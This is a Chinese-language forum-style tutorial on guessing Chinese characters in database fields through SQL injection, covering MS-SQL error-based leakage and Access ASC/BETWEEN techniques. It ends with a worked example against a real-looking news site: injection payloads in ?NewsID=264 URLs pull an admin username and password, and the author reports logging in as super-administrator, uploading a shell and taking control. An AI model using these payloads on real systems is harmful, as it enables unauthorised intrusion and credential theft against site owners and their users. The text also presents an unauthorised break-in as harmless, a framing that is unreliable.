SQL Injection中文猜測的兩種方法很多大蝦都知道了,偶在這裡獻丑還是來說一下。文章很有可能有不完整或者是說錯的地方,請大蝦直接寫文予以痛擊,不要騷擾使用never的人的郵箱和1143431的新主人。
一、MS-SQL中的漢字猜測可以說MS-SQL下的漢字是不用猜測的,你只要構造的條件足夠的好,可以直接讓對方在報錯的時候將數據內容直接顯示出來。通常的做法是把你要猜的內容所在的列做上一個其它類型的運算,這樣由於執行中進行了錯誤的類型轉換,會使得查詢失敗並且返回錯誤信息,而要猜的內容正好在信息中,例如:
select * from sysusers where [name] 1=2
name列是nvarchar,要讓他做加法運算,鐵定是出錯:
Syntax error converting the nvarchar value public to a column of data type int.我們應該可以直接從返回的錯誤中獲得需要的信息,例如這裡的public。所以說,MS-SQL下的漢字猜測,沒有太大的必要去花大力氣。二、ACCESS中漢字字符的猜測●漢字字符的確定很簡單,如果你發現一個網站是中文的,而且在注入的時候發現有異常的情況,你猜測的內容很有可能就是中文。通常我們這樣確定:... 0<>(select count(*) from admin where left(xxx,1) between char(20) and char(254)).....
這是想只是在可見字符中進行猜測,如果這麼大的范圍都出了問題,可以試試看這個:... 0<>(select count(*) from admin where left(xxx,1) between char(254) and char(255)).....
如果這個條件是滿足的,很不幸,你遇上中文了。●間接的猜測法如果是中文,對於列中各條數據進行left、right等運算的時候,沒有把一個漢字拆開來,也就是說如果有一條記錄是“0我1”,那麼:
right(left(xxx,1),1) = 0right(left(xxx,2),1) = 我right(left(xxx,3),1) = 1
馬上有人就想到了轉換成整數來猜測,然後返回去算出到底是什麼漢字。這確實是可以的,而且想法很巧妙,通常的辦法是構造如下的條件asc(right(left(xxx,N),1)) < -XXXXX經驗上來說,小於符號後面這個數應該在-10000以下,然後通過具體注入時候得到的結果,不斷的縮小范圍,最後得到一個很小的負數。當確定這個負數後,可以先用計算器算出十六進制的代碼,然後用編輯軟件得到漢字。比如說你得到的確定的整數是-10532,用計算器轉換後應該得到的是D6DC,在UltraEdit中用十六進制編輯,可以看到D6DC獲得的是一個“周”字。●直接的猜測法如同猜測非中文字符一樣,中文字符也可以用between來逐步縮小范圍,最後得到一個准確的漢字。這種方法的關鍵在於了解between作用於漢字的時候到底是怎樣處理的,開始我在這方面走了一些彎路,後來多虧了小霸王(46466397),5自學網,才得以徹底搞清,原來同我開始想的不一樣,between對漢字的比較,是通過它們之間的unicode編碼的先後順序來的。我在網上沒有搜索到unicode編碼的表,在小霸王的指點下自己做了一份。在猜測的時候,依然是逐步的縮小范圍,對於漢字的確定,5自學網,用最大范圍上的between可以一下子獲得,例如下面這個查詢查詢條件,可以確定被猜測的數據一定是漢字:... right(left(xxx,N),1) between 一 and 翿由於unicode編碼的漢字並不是按照常用的程度來排列的,事實上給猜測帶來了很大的麻煩,一般我傾向於寫程序來猜測,兩種方法的時間復雜度一樣,感覺上用第二種方法編寫程序可能更為簡單。●適用范圍
應該說是都適用的。不過第二種方法一般要用到,有過濾的時候不通用。手工猜的話第一種方法應該很通用了,我也做了一個轉換的小工具,直接由一個負整數獲得對應的漢字。
●其它兩種方法對於遠東字符的猜測都有效,而且應該對各種非ASCII碼的猜測都有效。如果有對日文/韓文等進行注入,可以簡單的利用上面的方法,不同的只是編碼而已。●實例
上個星期對進行了測試(絕對善意!),我們先猜出來一個密碼為19831016%%%%%的用戶,通過len得知用戶名長度為2,而且確定為漢字,開始猜測:
?NewsID=264 and 0<>(select count(*) from admin where password=19831016%%%%% and asc(left(username,1))<-10000)
確定小於-10000,然後通過逐步縮小范圍,最後確定是-10532
?NewsID=264 and 0<>(select count(*) from admin where password=19831016%%%%% and asc(left(username,1))=-10532)
打開計算器,選擇科學型,轉換成十六進制單字,是D6DC,用UltraEdit編輯為周字。然後換一種方法猜測後面一個字,逐步縮小范圍至:
?NewsID=264 and 0<>(select count(*) from admin where password=19831016%%%%% and right(left(username,2),1) between 未 and 本)然後逐一確定,最後得到是“末”字:?NewsID=264 and 0<>(select count(*) from admin where password=19831016%%%%% and right(left(username,2),1)=末)同樣的,我們又猜了一個超級管理員的用戶名/密碼,登陸後上傳shell,然後拿到了管理權限。沒有惡意,只是證明無論是漢字的用戶名還是密碼,不會給你帶來更大的安全性。